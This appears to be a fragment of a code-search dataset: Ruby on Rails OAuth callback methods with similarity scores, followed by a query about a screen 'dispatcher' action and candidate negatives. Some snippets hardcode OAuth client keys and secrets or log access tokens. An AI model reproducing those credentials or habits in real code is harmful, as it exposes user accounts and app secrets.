"def callback_phase\n options.client_options[:access_token_path] = \"/oauth/qzoneoauth_access_token?oauth_vericode=#{request['oauth_vericode'] }\" if request['oauth_vericode']\n super\n end",
"def redirect_callbacks\n setup_env_params\n\n session['dta.omniauth.auth'] = request.env['omniauth.auth']\n .except('extra')\n session['dta.omniauth.params'] = omniauth_params\n tweak_session_attrs\n has_params = session['dta.omniauth.params']\n\n redirect_to action: has_params ? 'omniauth_success' : 'omniauth_failure'\n end",
"def callback\n @bluebutton_oauth_service = BluebuttonOauthService.new(session[:bb_acc_token],session[:bb_state])\n @bluebutton_oauth_service.set_access_token(params[:code])\n @bluebutton_oauth_service.refresh_access_token\n redirect_to bluebutton_main_path, :notice => \"you have been successfully authorized!\"\n # Save access token to session. \n session[:bb_acc_token] = @bluebutton_oauth_service.bb_acc_token\n end",
"def callback_url\n auth_endpoint_callback_url(org: @organization.id)\n end",
"def request_token\n localcallback = \"http://localhost:3000/twitter/callback\"\n herokucallback = \"http://twitter-fobot.herokuapp.com/twitter/callback\"\n @callback_url = Rails.env == 'production' ? herokucallback : localcallback\n @consumer = OAuth::Consumer.new(ENV['consumer_key'],ENV['consumer_secret'],:site=>\"https://api.twitter.com\")\n @consumer.options[:authenticate_path] = \"/oauth/authenticate\"\n \n #@request_token is app specific not user specific\n @request_token = @consumer.get_request_token(:oauth_callback => @callback_url)\n \n session[:request_token] = @request_token\n #redirect_to @request_token.authorize_url(:oauth_callback => @callback_url)\n redirect_to \"https://api.twitter.com/oauth/authenticate?oauth_callback=\" + @callback_url + \"&oauth_token=\" + @request_token.token\n end",
"def process_callback(params, session)\n args = {\n oauth_verifier: params[:oauth_verifier],\n request_token: session[:request_token],\n request_token_secret: session[:request_token_secret]\n }\n\n args[:code] = params[:code] if params[:code]\n get_access_token(args)\n end",
"def handle_callback(code)\n resp = Douban.get_access_token(code, :redirect_uri => DOUBAN_CALLBACK)\n save_config(resp)\n end",
"def callback \n begin\n user_id = Rails.cache.read(\"user_id\")\n @user = User.find(user_id)\n oauth_token_secret = Rails.cache.read(\"oauth_token_secret\")\n\n flickr = FlickRaw::Flickr.new\n oauth_token = params[:oauth_token]\n oauth_verifier = params[:oauth_verifier]\n\n raw_token = flickr.get_access_token(params[:oauth_token], oauth_token_secret, params[:oauth_verifier])\n oauth_token = raw_token[\"oauth_token\"]\n oauth_token_secret = raw_token[\"oauth_token_secret\"]\n\n flickr.access_token = oauth_token\n flickr.access_secret =oauth_token_secret\n\n if User.find(user_id).flickr_account\n User.find(user_id).flickr_account.delete\n end\n\n flickr_account = FlickrAccount.create(consumer_key: oauth_token , secret_key: oauth_token_secret)\n User.find(user_id).flickr_account = flickr_account\n\n unless flickr_account.new_record?\n flash[:notice] = 'Flickr account created $green'\n l = Log.new\n l.loggingtype =0\n l.user_id_1 = @user.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n l.message = \"#{name_1} is now connected to flickr account\"\n l.save\n else \n flash[:notice] = 'Flickr account couldn\\'t be created $red'\n end \n\n redirect_to controller: 'users', action: 'connect_social_accounts'\n \n rescue\n flash[:notice] = 'Couldn\\'t connect to flickr $red'\n redirect_to controller: 'users', action: 'connect_social_accounts'\n end\n end",
"def callback\n\t\t# I didn't abstract this part since we don't have the user data yet.\n\t\t\n\t @request_token = OAuth::RequestToken.new(get_consumer,\n\t session[:request_token],\n\t session[:request_token_secret]) # generate request token using OAuth consumer obj\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t # and existing request token, token secret\n\n\t # Exchange the request token for an access token.\n\t @access_token = @request_token.get_access_token # access token is the application-user combo auth to twitter\n\n\t\t# do a request using the OAuth consumer, to twitter.com/account/verify_credentials.json\n\t\t# USING our access token, so we can GET the data about the user that is described with the access token\n\t @response = get_consumer.request(:get, '/account/verify_credentials.json', @access_token, { :scheme => :query_string })\t\t\n\t\t\n\t case @response\n\t when Net::HTTPSuccess\n\t user_info = JSON.parse(@response.body) # json parse the response\n\n\t unless user_info['screen_name']\n\t\t\t\t\t# for one reason or another -- no screen name was found, auth failed\n\t flash[:notice] = \"Authentication failed\"\n\t redirect_to :action => :index\n\t return\n\t end\n\n\t # We have an authorized user, save the information to the database.\n\t\t\t\tfinduser = User.find_by_twitter_name(user_info['screen_name'])\n\t\t\t\tif finduser.nil?\n\t\t\t\t\t@user = User.create do |u|\n\t\t\t\t\t\tu.twitter_name = user_info['screen_name']\n\t\t\t\t\t\tu.token = @access_token.token\n\t\t\t\t\t\tu.secret = @access_token.secret\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t@user.save!\n\t\t\t\telse\n\t\t\t\t\tfinduser.token = @access_token.token\n\t\t\t\t\tfinduser.secret = @access_token.secret\n\t\t\t\t\tfinduser.save!\n\t\t\t\t\t\n\t\t\t\t\t@user = finduser\n\t\t\t\tend\n\t\n\t\t\t\tsession[:user_id] = @user.id\n\n\t # Redirect to the show page\n\t redirect_to('/home')\n\t else\n\t RAILS_DEFAULT_LOGGER.error \"Failed to get user info via OAuth\"\n\t # The user might have rejected this application. Or there was some other error during the request.\n\t flash[:notice] = \"Authentication failed\"\n\t redirect_to :action => :index\n\t end\n\tend",
"def oauth2_callback\n # Swap Auth token for an access token\n token = oauth2_client.auth_code.get_token(params[:code])\n\n # Remember the access token\n session[:access_token] = token.token\n redirect_to repo_index_path\n end",
"def facebook\n handle_auth \"facebook\"\n end",
"def oauth_consumer\n @oauth_consumer\n end",
"def facebook\n callback\n end",
"def auth_callback_test\n # render(:json=>request.env['omniauth.auth'].to_json)\n end",
"def start_oauth\n @consumer = OAuth::Consumer.new('l9tUlXD0IOoGhC9HnDJBA', '9YZWGkxQJgieQ3Ta89mPE4xpXXhryEbRD9GS0WAt4',{:site=>\"http://twitter.com\" })\n @req_token = @consumer.get_request_token(:oauth_callback=>\"http://127.0.0.1:3000/a2\")\n Rails.logger.warn \"First Request #{@req_token.inspect}\"\n session[:request_token] = @req_token.token\n session[:request_token_secret] = @req_token.secret\n redirect_to @req_token.authorize_url\nend",
"def google_oauth2\n\t\n\t\t#~ raise request.env[\"omniauth.auth\"].to_yaml\n\t\n # This method is implemented in app/models/user.rb\n @user = User.from_omniauth_google(request.env[\"omniauth.auth\"])\n\t\t\n if @user.persisted?\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Google\") if is_navigational_format?\n else\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url #redirects to sign up if unsuccessful\n end\n end",
"def callback\n return unless passes_whitelist?\n session[:user_id] = User.from_omniauth(@auth_hash, current_tenant.tenant_id, unmangle_orcid).id\n redirect_to dashboard_path\n end",
"def request_phase\n request_token = consumer.get_request_token({:oauth_callback => callback_url}, {:scope => 'http://www.google.com/health/feeds'})\n (session['oauth']||={})[name.to_s] = {'callback_confirmed' => request_token.callback_confirmed?, 'request_token' => request_token.token, 'request_secret' => request_token.secret}\n r = Rack::Response.new\n if request_token.callback_confirmed?\n r.redirect(request_token.authorize_url)\n else\n r.redirect(request_token.authorize_url(:oauth_callback => callback_url))\n end\n r.finish\n end",
"def process_callback(params, session)\n args = {\n oauth_verifier: params[:oauth_verifier],\n request_token: session[:request_token],\n request_token_secret: session[:request_token_secret]\n }\n\n args.merge!({ code: params[:code] }) if params[:code]\n get_access_token(args)\n end",
"def facebook\n oauth_info = OauthToken.get_oauth_info('facebook')\n session[:redirect_after_oauth] = params[:redirect_to] ? params[:redirect_to] : nil\n redirect_to \"https://graph.facebook.com/oauth/authorize?client_id=#{oauth_info['consumer_key']}\"+\n \"&redirect_uri=#{oauth_info['callback']}\"+\n \"&scope=read_stream,publish_stream,publish_actions,offline_access,user_likes,user_status,\"+\n \"user_birthday,user_relationships,user_relationship_details,\"+\n \"email,user_checkins,sms,user_online_presence\"+\n \"&display=touch\"\n end",
"def exchange_oauth_tokens\n end",
"def fb_auth\n session[:sign_up_reason] = nil\n\n if params[:return_to]\n set_after_sign_in_location(params[:return_to])\n elsif params[:spree_user_return_to]\n set_after_sign_in_location(params[:spree_user_return_to])\n elsif is_user_came_from_current_app\n set_after_sign_in_location(request.referrer)\n end\n\n if params[:redeem_via_fb_state]\n session[:redeem_via_fb_state] = params[:redeem_via_fb_state]\n end\n\n if params[:new_modal_fb_state]\n session[:new_modal_fb_state] = params[:new_modal_fb_state]\n end\n\n if params[:show_promocode_modal]\n session[:show_promocode_modal] = params[:show_promocode_modal]\n # reset current modal popup\n set_after_sign_in_location(root_path)\n end\n\n session[:auto_apply] = params[:auto_apply] if params.key?(:auto_apply)\n session[:auto_apply_promo] = params[:auto_apply_promo] if params.key?(:auto_apply_promo)\n\n # Capture PLEASE REMIND ME ABOUT MY SALE events to push onto customer.io later.\n session[:email_reminder_promo] = params[:email_reminder_promo] if params.key?(:email_reminder_promo)\n\n\n redirect_to spree.spree_user_omniauth_authorize_url(provider: :facebook, scope: 'email,public_profile,user_friends')\n end",
"def authorize\n oauth_verifier = params[:oauth_verifier]\n request_token = session[:request_token]\n access_token = request_token.get_access_token(:oauth_verifier => oauth_verifier)\n \n user = User.login(access_token)\n session[:user] = user.id unless user.nil?\n redirect_to :controller => :home\n end",
"def redirect_url(callback_url)\n signin_url(callback_url)\n end",
"def login\n oauth_callback = url_for(:action => :authorize)\n request_token = @consumer.get_request_token(:oauth_callback => oauth_callback)\n session[:request_token] = request_token\n redirect_to request_token.authorize_url\n end",
"def callback_phase\n error = request.params['error_reason'] || request.params['error']\n fail(OAuthError, error) if error\n @session_state = request.params['session_state']\n @id_token = request.params['id_token']\n @code = request.params['code']\n @claims, @header = validate_and_parse_id_token(@id_token)\n # validate_chash(@code, @claims, @header)\n super\n end",
"def linkedin\n handle_callback(:linkedin)\n end",
"def accept\n #Fetch the 'code' query parameter from the callback\n code = params[:code] \n state = params[:state]\n \n if !state.eql?(STATE)\n #Reject the request as it may be a result of CSRF\n else \n #Get token object, passing in the authorization code from the previous step \n token = client.auth_code.get_token(code, :redirect_uri => get_redirect_uri)\n \n #Use token object to create access token for user \n #(this is required so that you provide the correct param name for the access token)\n access_token = OAuth2::AccessToken.new(client, token.token, {\n :mode => :query,\n :param_name => \"oauth2_access_token\",\n })\n \n session[:linkedin_token] = access_token.token\n #Use the access token to make an authenticated API call\n response = access_token.get('https://www.linkedin.com/v1/people/~')\n \n #Print body of response to command line window\n #logger.debug \"test putting string #{response.body}\"\n \n # Handle HTTP responses\n case response\n when Net::HTTPUnauthorized\n # Handle 401 Unauthorized response\n when Net::HTTPForbidden\n # Handle 403 Forbidden response\n end\n end\n end",
"def accept\n #Fetch the 'code' query parameter from the callback\n code = params[:code] \n state = params[:state]\n \n if !state.eql?(STATE)\n #Reject the request as it may be a result of CSRF\n else \n #Get token object, passing in the authorization code from the previous step \n token = client.auth_code.get_token(code, :redirect_uri => REDIRECT_URI)\n \n #Use token object to create access token for user \n #(this is required so that you provide the correct param name for the access token)\n access_token = OAuth2::AccessToken.new(client, token.token, {\n :mode => :query,\n :param_name => \"oauth2_access_token\",\n })\n \n #Use the access token to make an authenticated API call\n response = access_token.get('https://www.linkedin.com/v1/people/~')\n \n #Print body of response to command line window\n puts response.body\n \n # Handle HTTP responses\n case response\n when Net::HTTPUnauthorized\n # Handle 401 Unauthorized response\n when Net::HTTPForbidden\n # Handle 403 Forbidden response\n end\n end\n end",
"def callback_phase\n @user_info = get_user(@auth_token = fetch_auth_token(session['omniauth.ebay.session_id']))\n super\n end",
"def twitter_callback\n\t if I18n.locale == :en\n\t \tflash[:notice] = \"Connected to Twitter successfully!\"\n\t else I18n.locale == :ar\n\t \tflash[:notice] = \"تم التواصل مع تويتر بنجاح!\"\n\t end\n\t auth = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_gid(auth[\"provider\"],\n current_gamer.id) || Authentication.create_with_omniauth(auth,\n current_gamer)\n redirect_to \"/gamers/edit\"\n return\n\tend",
"def oauth\n connector = StripeOauth.new(current_customer)\n\n logger.debug(connector)\n\n # logger.debug(\"===> #{stripe_confirm_url}\")\n\n url, error = connector.oauth_url(redirect_uri: stripe_confirm_url)\n\n if url.nil?\n flash[:alert] = error\n redirect_to customer_path(current_customer)\n else\n redirect_to url\n end\n end",
"def authorize_url(callback_url)\n request_token.authorize_url+'&oauth_callback='+CGI.escape(callback_url)\n end",
"def authorize_application\n # init auth state and oauth url..enter wormhole\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GIFT_AUTH_CALLBACK)\n encoded_auth_state = create_auth_state\n oauth_url = create_oauth_url(oauth.oauth_callback_url, encoded_auth_state)\n redirect_to(:action => \"exit_portal\", :url => oauth_url) and return\n end",
"def callback\n # Authentication redirects here\n code = params[:code]\n\n # Used in the template\n @name = auth_hash.info.name\n @email = auth_hash.info.email\n\n # Request an access token\n result = acquire_access_token(code, ENV['REPLY_URL'])\n\n # Associate token/user values to the session\n session[:access_token] = result.access_token\n session[:name] = @name\n session[:email] = @email\n\n # Debug logging\n logger.info \"Code: #{code}\"\n logger.info \"Name: #{@name}\"\n logger.info \"Email: #{@email}\"\n logger.info \"[callback] - Access token: #{session[:access_token]}\"\n end",
"def token_callback\n # puts \"INTAGRAM CLIENT response ACCESS TOKEN ???? #{params.inspect}\"\n if params[:access_token]\n session[:instagram_access_token] = params[:access_token]\n # puts \"INTAGRAM SESSION TOKEN #{params[:access_token].inspect}\"\n\n end\n respond_to do |format|\n format.html {redirect_to profile_path }\n # redirect_to :back, :params => params[:url_params]\n end\n end",
"def linkedin_cb\n \tcode = params[:code]\n \toauth = LinkedIn::OAuth2.new\n\n \taccess_token = oauth.get_access_token(code)\n p 'access_token'\n \tp access_token.token\n\n \tapi = LinkedIn::API.new(access_token.token)\n \tmy_name = api.profile(fields: [\"first-name\", \"last-name\"])\n p my_name.first_name\n\n li_acct = LinkedinAccount.new\n li_acct[:first_name] = my_name.first_name\n li_acct[:last_name] = my_name.last_name\n li_acct[:access_token] = access_token.token\n\n current_user.linkedin_account = li_acct\n li_acct.save\n\n \tredirect_to \"\"\n end",
"def pre_authorize_cb; end",
"def create\n\t # get the authentication parameter from the Rails router\n\t params[:provider] ? authentication_route = params[:provider] : authentication_route = 'No authentication recognized (invalid callback)'\n\n\t # get the full hash from omniauth\n\t omniauth = request.env['omniauth.auth']\n\t \n\t # continue only if hash and parameter exist\n\t if omniauth and params[:provider] == 'identity'\n\t # in the session his user id and the authentication id used for signing in is stored\n\t session[:identity] = omniauth['uid']\n\t redirect_to root_url, :notice => \"Signed in successfully.\"\n\t \n\t elsif omniauth and params[:provider]\n\t # create a new hash\n\t @authhash = Hash.new\n\t if authentication_route == 'google_oauth2'\n\t omniauth['info']['email'] ? @authhash[:email] = omniauth['info']['email'] : @authhash[:email] = ''\n\t omniauth['info']['name'] ? @authhash[:name] = omniauth['info']['name'] : @authhash[:name] = ''\n\t omniauth['uid'] ? @authhash[:uid] = omniauth['uid'].to_s : @authhash[:uid] = ''\n\t omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = ''\n\t else \n\t # debug to output the hash that has been returned when adding new authentications\n\t render :text => omniauth.to_yaml\n\t return\n\t end\n\t \n\t if @authhash[:uid] != '' and @authhash[:provider] != ''\n\t auth = Authentication.find_by_provider_and_uid(@authhash[:provider], @authhash[:uid])\n\t # if the user is currently signed in, he/she might want to add another account to signin\n\t if logged_in?\n\t if auth\n\t flash[:notice] = 'Your account at ' + @authhash[:provider].capitalize + ' is already connected with this site.'\n\t redirect_to authentications_path\n\t else\n\t current_user.authentications.create!(:provider => @authhash[:provider], :uid => @authhash[:uid], :uname => @authhash[:name], :uemail => @authhash[:email])\n\t flash[:notice] = 'Your ' + @authhash[:provider].capitalize + ' account has been added for signing in at this site.'\n\t redirect_to authentications_path\n\t end\n\t else\n\t if auth\n\t # signin existing user\n\t # in the session his user id and the authentication id used for signing in is stored\n\t session[:user] = auth.user.id\n\t session[:authentication_id] = auth.id\n\t \n\t flash[:notice] = 'Signed in successfully.'\n\t redirect_to root_url\n\t else\n\t # this is a new user; show signup; @authhash is available to the view and stored in the sesssion for creation of a new user\n\t if Rails.env == \"development\" or @authhash[:email].split('@').include?('intridea.com')\n\t session[:authhash] = @authhash\n\t render signup_authentications_path\n\t end\n\t # render signup_authentications_path\n\t end\n\t end\n\t else\n\t flash[:error] = 'Error while authenticating via ' + authentication_route + '/' + @authhash[:provider].capitalize + '. The authentication returned invalid data for the user id.'\n\t redirect_to login_path\n\t end\n\t else\n\t flash[:error] = 'Error while authenticating via ' + authentication_route.capitalize + '. The authentication did not return valid data.'\n\t redirect_to login_path\n\t end\n\t end",
"def oauth_callback_url\n url_for :action => \"list\"\n end",
"def callback\n @oauth = Koala::Facebook::OAuth.new(APPID, SECRET, welcome_callback_url)\n session[:access_token] = @oauth.get_access_token(params[:code]) if params[:code]\n if session[:access_token]\n flash[:notice] = \"Logged in successfully\"\n else\n flash[:notice] = \"Error logging in\"\n end\n redirect_to welcome_index_path\n end",
"def finishLinkedInAuth\n require 'oauth2'\n\n if params[:code].present? && params[:state].present?\n client = OAuth2::Client.new('75yetg1f8atx89', 'le39CGDc1yQLCo9U', :site => 'https://www.linkedin.com/', :token_url => '/uas/oauth2/accessToken')\n token = client.auth_code.get_token(params[:code], :redirect_uri => request.protocol + request.host_with_port + '/access/finishLinkedInAuth')\n\n #use the token to get this user's first-name, last-name, location, industry, num-connections, positions, email-address, and id\n response = token.get('https://api.linkedin.com/v1/people/~:(first-name,last-name,location,industry,num-connections,positions,email-address,id)?format=json', :headers => { 'authorization' => 'Bearer ' + token.token })\n response = ActiveSupport::JSON.decode(response.response.env['body']) #convert that JSON to a ruby array\n\n #search our database to see whether this is a new user\n found_user = User.where(:linkedInId => response['id']).first\n if found_user == nil\n found_user = createNewUser(response)\n else\n found_user = updateUser(response, found_user)\n end\n \n #set their id in the session, which designates them as logged in\n session[:user_id] = found_user.id\n \n #check whether they should be allowed into our site, as long as they have not been reported three or more times\n if found_user.reportedCount >= 3\n #if they have been reported too many times, log them out and redirect them to the locked page\n session[:user_id] = nil\n redirect_to(:action => 'locked')\n else\n redirect_to(:controller => 'home_feed', :action => 'show') #otherwise, redirect them to the home feed\n end\n \n elsif params[:error].present? && params[:error_description].present?\n puts \"Rejected\"\n \n else\n puts \"Unexpected response\"\n end\n end",
"def oauth_uri(provider=\"FACEBOOK\")\n dest= session[\"return_to\"] || request.env[\"REQUEST_URI\"] || \"/\"\n \"#{oauth_uri_left_part}/account/oauth_start?provider=#{CGI.escape(provider)}&dest_left=#{CGI.escape(request_uri_left_part)}&dest_path=#{CGI.escape(dest)}\"\n end",
"def twitter\n @user = current_user\n if params[:oauth_verifier]\n if @user.user_content.twitter_token.blank?\n clientTwitter = TwitterOAuth::Client.new(:consumer_key => TwitterEnv::API_KEY, :consumer_secret => TwitterEnv::SECRET_KEY)\n pin = params[:oauth_verifier]\n access_token = clientTwitter.authorize(session[:rtoken_twitter], session[:rsecret_twitter], :oauth_verifier => pin)\n @user.user_content.twitter_token = access_token.token\n @user.user_content.twitter_secret = access_token.secret\n @user.user_content.save\n else\n clientTwitter = TwitterOAuth::Client.new(\n :consumer_key => TwitterEnv::API_KEY,\n :consumer_secret => TwitterEnv::SECRET_KEY,\n :token => @user.user_content.twitter_token, \n :secret => @user.user_content.twitter_secret)\n end\n end\n \n redirect_to \"/backend/social\"\n end",
"def oauth\n\t\tdropbox = DropboxConnection.new\n\t\n\t\tif params[:not_approved] == 'true'\n\t\t\tredirect_to dropbox_path, flash: { error: 'You just cancelled, didn\\'t you?' }\n\t\telse\n\t\t\t# the user has returned from Dropbox so save the session and go away\n\t\t\tdropbox.authorized\n\t\t\tredirect_to :root\n\t\tend\n\tend",
"def add_oauth(req)\n @consumer.sign!(req, @access_token)\nend",
"def handle_inverified_request\n \tsignout\n \tsuper\n end",
"def facebook_subs_callback\n if request.get? and params['hub.mode'] == 'subscribe'\n render :text => params['hub.challenge']\n elsif request.post?\n # What happens when more than one record has changed?\n # {\"entry\"=>[{\"changed_fields\"=>[\"picture\"], \n # \"time\"=>1302394571, \n # \"id\"=>\"500528646\", \n # \"uid\"=>\"500528646\"}], \n # \"object\"=>\"user\"}\n if params['object'] and params['object'] == 'user'\n params['entry'].each do |person_info|\n if !person_info['uid'].blank? \n if person_info.include?('name') or person_info.include?('picture') or person_info.include?('email')\n OauthToken.find_by_remote_user_id_and_site_token(person_info['uid'], 'facebook').update_user_info\n elsif person_info.include?('checkins')\n # They checked in somewhere\n end\n end\n end\n end\n render :text => 'subscription callback processed'\n end\n end",
"def twitter\n\t\thandle_omniauth_callback(request.env['omniauth.auth'])\n\tend",
"def callback\n @user = User.find_by_hash(auth_hash)\n if @user\n login(@user)\n redirect_to \"/\" and return\n else\n # We store the authorization so that the user cannot modify\n # the provider/uid details in the form\n @authorization = Authorization.create_from_hash(auth_hash)\n session[:auth_id] = @authorization.id\n @user = User.new_from_hash(auth_hash)\n end\n end",
"def oauth_callback\n if params[:state].present?\n oauth2_client = Qbo.get_client\n # use the state value to retrieve from your backend any information you need to identify the customer in your system\n redirect_uri = Setting.host_name + \"/qbo/oauth_callback/\"\n if resp = oauth2_client.auth_code.get_token(params[:code], redirect_uri: redirect_uri)\n \n # Remove the last authentication information\n Qbo.delete_all\n \n # Save the authentication information \n qbo = Qbo.new\n qbo.company_id = params[:realmId]\n \n # Generate Access Token & Serialize it into the database\n access_token = OAuth2::AccessToken.new(oauth2_client, resp.token, refresh_token: resp.refresh_token)\n qbo.token = access_token.to_hash\n qbo.expire = 1.hour.from_now.utc\n \n if qbo.save!\n redirect_to qbo_sync_path, :flash => { :notice => \"Successfully connected to Quickbooks\" }\n else\n redirect_to plugin_settings_path(:redmine_qbo), :flash => { :error => \"Error\" }\n end\n \n end\n end\n end"
] |
[
"0.77667075",
"0.7513835",
"0.7500759",
"0.7400751",
"0.73507404",
"0.7308533",
"0.717329",
"0.70877194",
"0.70413065",
"0.7033294",
"0.7020424",
"0.7020424",
"0.69426715",
"0.69387007",
"0.69151074",
"0.6905451",
"0.6883488",
"0.6865838",
"0.68639284",
"0.6828978",
"0.6819215",
"0.6772128",
"0.676037",
"0.67132574",
"0.67129123",
"0.67009526",
"0.66968054",
"0.66951716",
"0.6673557",
"0.6661486",
"0.66443366",
"0.66407394",
"0.66374564",
"0.66179955",
"0.66146505",
"0.65911",
"0.6586237",
"0.6582164",
"0.6547376",
"0.6538099",
"0.6533792",
"0.652548",
"0.6515392",
"0.64809036",
"0.6476604",
"0.6472498",
"0.6471727",
"0.6471475",
"0.6463643",
"0.645407",
"0.6426537",
"0.6411678",
"0.6391737",
"0.6384796",
"0.63817245",
"0.6381403",
"0.6373209",
"0.6334558",
"0.6324816",
"0.6323404",
"0.6308727",
"0.6305999",
"0.6292386",
"0.6270177",
"0.6258348",
"0.62507933",
"0.6245603",
"0.62395114",
"0.62391543",
"0.6231919",
"0.6228521",
"0.6222782",
"0.62223893",
"0.6207289",
"0.6206241",
"0.6201697",
"0.6193938",
"0.6192755",
"0.6181352",
"0.6177531",
"0.61752677",
"0.61672705",
"0.6153403",
"0.61531174",
"0.61530644",
"0.6149105",
"0.614898",
"0.6147426",
"0.6144462",
"0.61278564",
"0.61213017",
"0.6103329",
"0.6085698",
"0.6062812",
"0.6060789",
"0.60599405",
"0.605275",
"0.60522854",
"0.6050093",
"0.60463774"
] |
0.6782988
|
21
|
dispatcher is the action that get called for /:app_name/:screen_name routes. Turns screen into an action, and calls it. If it can't find an action it will remove suffixes until it can, or until it decides to call a generic handler. note that all actions will go through here, so rails will default to rendering /demo/dispatcher, which doesn't exist and will make for bad times. im so meta
|
def dispatcher
screen = screen_name
# continuosly remove tokens seperated by '_', starting from the end
# until there are no more tokens, or we find one that we respond to
begin
if self.respond_to?(screen.to_sym)
self.method(screen).call
return
end
tokens = screen.split("_")
screen = tokens.take(tokens.length - 1).join("_")
end while screen != ""
# even if we don't have an action for this screen, attempt to embed it.
# if anything captureui will just 404 or complain.
embed_screen
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dispatcher(session,context,dispatch_destination = nil)\n @myclass.Dispatcher.dispatch(session,context,dispatch_destination)\n end",
"def dispatch_to(dispatcher)\n @jr_method_args.each { |args|\n # copy args so original is preserved\n handler_method, jr_methods =\n extract_handler_method(Array.new(args))\n jr_methods.map! { |m| m.to_s }\n\n handler = has_handler_for?(handler_method) ?\n handler_for(handler_method) :\n create_handler_for(handler_method)\n\n dispatcher.handle jr_methods, handler\n }\n end",
"def ensure_dispatcher\n if dispatchers.all.empty?\n async_redirect '/dispatchers/edit'\n else\n dispatchers.first_alive {\n |dispatcher|\n async_redirect '/dispatchers/edit' if !dispatcher\n }\n end\n end",
"def log_dispatcher\n dispatcher_name = Agent.config[:dispatcher].to_s\n\n if dispatcher_name.empty?\n ::NewRelic::Agent.logger.info('No known dispatcher detected.')\n else\n ::NewRelic::Agent.logger.info(\"Dispatcher: #{dispatcher_name}\")\n end\n end",
"def screen_name\n controller_name = t(\"controllers.#{params[:controller]}\").upcase\n action_name = t(\"actions.controllers.#{params[:action]}\").upcase\n \"#{controller_name} / #{action_name}\"\n end",
"def invoke_action(name)\n # debugger\n self.send(name)\n render(name.to_s) unless already_built_response?\n end",
"def invoke_action(name)\n self.send(name)\n #Rails Magic: Default calls render on appropriate method even if the programmer doesn't :\n render(name) unless already_rendered?\n end",
"def call_dispatchers(payload)\n dispatchers.each do |dispatcher|\n dispatcher.call(payload)\n end\n end",
"def render(*args)\n path = encode_uri(*args)\n\n debug \"Rendering '#{path}'\" if $DBG\n \n @controller_class, action, query, params, @context.format = @context.dispatcher.dispatch(path)\n# @context.content_type = @context.format.content_type\n\n @context.level += 1\n old_controller_class = Controller.replace_current(@controller_class)\n \n if self.class == @controller_class \n render_action(action, params)\n else\n @controller_class.new(@context).send(:render_action, action, params)\n end\n\n Controller.replace_current(old_controller_class)\n @context.level -= 1\n end",
"def invoke_action(name)\n self.send(name)\n render(name.to_s) unless already_built_response?\n end",
"def show\n @dispatcher = Dispatcher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @dispatcher }\n end\n end",
"def rest\n\t\t\t\tself.class.rest_routes.each do |rest_route|\n\t\t\t\t\taction = rest_route[:action]\n\t\t\t\t\tnext if !@controller.actions.include?(action) || find_reverse_route(action)\n\n\t\t\t\t\tsend(*rest_route.values.map(&:downcase))\n\t\t\t\tend\n\t\t\tend",
"def dispatch_action(request)\n method = request_method(request)\n path = request.path.sub(/\\.\\w+$/, '')\n route = @routing.detect { |r| r[0] == method && r[1] == path }\n route[2] if route\n end",
"def invoke_action(name)\n self.send(name)\n render(name) unless already_built_response?\n end",
"def invoke_action(name)\n self.send(name)\n render(name) unless already_built_response?\n end",
"def invoke_action(name)\n self.send(name)\n render unless self.already_built_response?\n\n end",
"def dispatch(t_msg)\n self.send(@dispatcher_block, t_msg)\n end",
"def dispatcher()\n require 'dispatch/dispatch'\n @dispatch = Dispatch.new\n @dispatch.start\n sleep\n end",
"def invoke_action(name)\n send(name)\n render(name) unless already_built_response?\n end",
"def invoke_action(name)\n send(name)\n unless @already_built_response\n render (name)\n end\n end",
"def dispatch(path, request, response, options)\n if WelltreatStoreFramework::Core.configuration.auto_reload\n restart\n end\n\n begin\n case path\n when '/'\n _execute_action(:Home, :index, request, response, options)\n else\n _controller_name, _action, _id = self.send(:_extract_path, path)\n request.send(:set_param, :id, _id)\n\n _execute_action(_controller_name, _action, request, response, options)\n end\n\n # Handle 404\n rescue WelltreatStoreFramework::StoreApp::ControllerNotFound\n _execute_action(:Home, :not_found, request, response, options)\n\n rescue WelltreatStoreFramework::StoreApp::ActionNotFound\n _execute_action(:Home, :not_found, request, response, options)\n end\n end",
"def index\n @dispatchers = Dispatcher.all\n end",
"def dispatch(name, req, res); end",
"def to_render\n \"#{controller}/#{action}\"\n end",
"def invoke_action(name)\n send(name)\n render(name) unless already_built_response?\n end",
"def action_name\n name = self.request.route_obj.instance_variable_get('@named').to_s\n name.gsub!(/^#{controller_name}_?/, '')\n name = 'index' if name == ''\n name\n end",
"def set_admin_dispatcher\n @admin_dispatcher = Admin::Dispatcher.find(params[:id])\n end",
"def perform(action)\n @action_name = action\n begin\n self.send(@action_name)\n rescue\n Skates.logger.error {\n \"#{$!}:\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n self.render\n end",
"def route_helper(ctrlr, action = nil, base: false)\n ctr = ctrlr.to_s.underscore\n ctr = ctr.split('/').map(&:singularize).join('_') if ctr.include?('/')\n ctr = ctr.split('.').map(&:singularize).join('_') if ctr.include?('.')\n act = action&.to_sym\n act = base_action(act) if act && base\n if ctr.end_with?('_url', '_path')\n Log.warn(\"#{__method__}: #{ctrlr}: ignoring action #{act}\") if act\n ctr\n elsif ctr == 'home'\n act ? :\"#{act}_path\" : :main_path\n else\n case act\n when :index, nil then :\"#{ctr}_index_path\"\n when :show then :\"#{ctr}_path\"\n else :\"#{act}_#{ctr}_path\"\n end\n end\n end",
"def method_for_action(action_name); end",
"def controller_action\n @controller_action ||= [controller.controller_name, controller.action_name].join('/')\n end",
"def rendered_action_name\n\t\t@rendered_action || params[:action]\n\tend",
"def render_action action_or_template \n args = action_or_template.to_s.split('/') \n args.size.should! :be_in, 1..2\n if args.size == 1\n action = args.first\n @the_action = action.to_sym\n render :action => 'actions'\n else\n path, action = args\n @the_action = action.to_sym\n render :template => \"#{path}/actions\"\n end \n end",
